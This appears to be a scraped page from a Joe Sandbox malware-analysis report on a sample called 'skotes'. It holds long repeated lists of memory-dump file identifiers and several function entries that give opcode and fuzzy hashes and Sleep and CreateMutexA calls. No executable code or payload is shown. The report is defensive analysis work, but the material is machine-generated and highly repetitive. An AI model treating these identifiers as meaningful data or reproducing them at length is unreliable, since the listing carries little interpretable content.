Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3d50f46d35299a6d96b350d7a080c404f1b92ea170ac6168f8f6c1d97fa10b00
Instruction ID: 7b06a1856b16e68cb2eac6f431c1eafd8bf53fbce650bcab557ca02ba59cb2dc
Opcode Fuzzy Hash: 3d50f46d35299a6d96b350d7a080c404f1b92ea170ac6168f8f6c1d97fa10b00
Instruction Fuzzy Hash: F0311631B001009BFB18EB7DDD85BEDB762EB81324F248219E4149B2D5D77A9980AF52

Function 00FBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 71c81c76a278f5796ce4651d57be7db61bbea02679ea82f42947b21823602f50
Instruction ID: 60e58ef4092654eb233148c42b8c4c206787f33d08c6f8b2d0844930918ef0dd
Opcode Fuzzy Hash: 71c81c76a278f5796ce4651d57be7db61bbea02679ea82f42947b21823602f50
Instruction Fuzzy Hash: 2A312831B001019BFB189B7DDD89BEDB762AF86320F248319E0149B2D5D77A9980BF12

Function 00FBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b3846a3ca6237b501a161e03c0980fbd118d6c352e02ed424d3f7263bfbc371c
Instruction ID: a46f6b3b0c0edfa9850ad2b54c543fdc01a6a37bb8f37d9269e7e61cac2ebcb2
Opcode Fuzzy Hash: b3846a3ca6237b501a161e03c0980fbd118d6c352e02ed424d3f7263bfbc371c
Instruction Fuzzy Hash: 2A312A31A00144DBEB18EB7DDD89BEDB762EF81324F248218E054DB2D5D77A5980BB52

Function 00FBA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7d5a28db960c92a49e2964651cceece2d2019cfbc01816b6b8eace3979e4e4ac
Instruction ID: 6b553c4dc166320b68a771108e4fca63675aff79f237893e81ffe00399b59a5e
Opcode Fuzzy Hash: 7d5a28db960c92a49e2964651cceece2d2019cfbc01816b6b8eace3979e4e4ac
Instruction Fuzzy Hash: 32314A71B001048BEB18DB7DDD89BEDB762EF85324F248218E454DB2D5CB399980FB12

Function 00FBA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 59138872c2cb0b2f3c64d79a7caf1be4c7a5d8d0e73315a7e42e6a9801254065
Instruction ID: 14c4a97f40b8eb978c2f06bc712cdbb43a4195cf8319d4ce60480083797019b6
Opcode Fuzzy Hash: 59138872c2cb0b2f3c64d79a7caf1be4c7a5d8d0e73315a7e42e6a9801254065
Instruction Fuzzy Hash: 55314871B042049BEB18DB79DDC9BEDB762EF85320F248218E014DB2D5DB799980FB52

Function 00FB9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
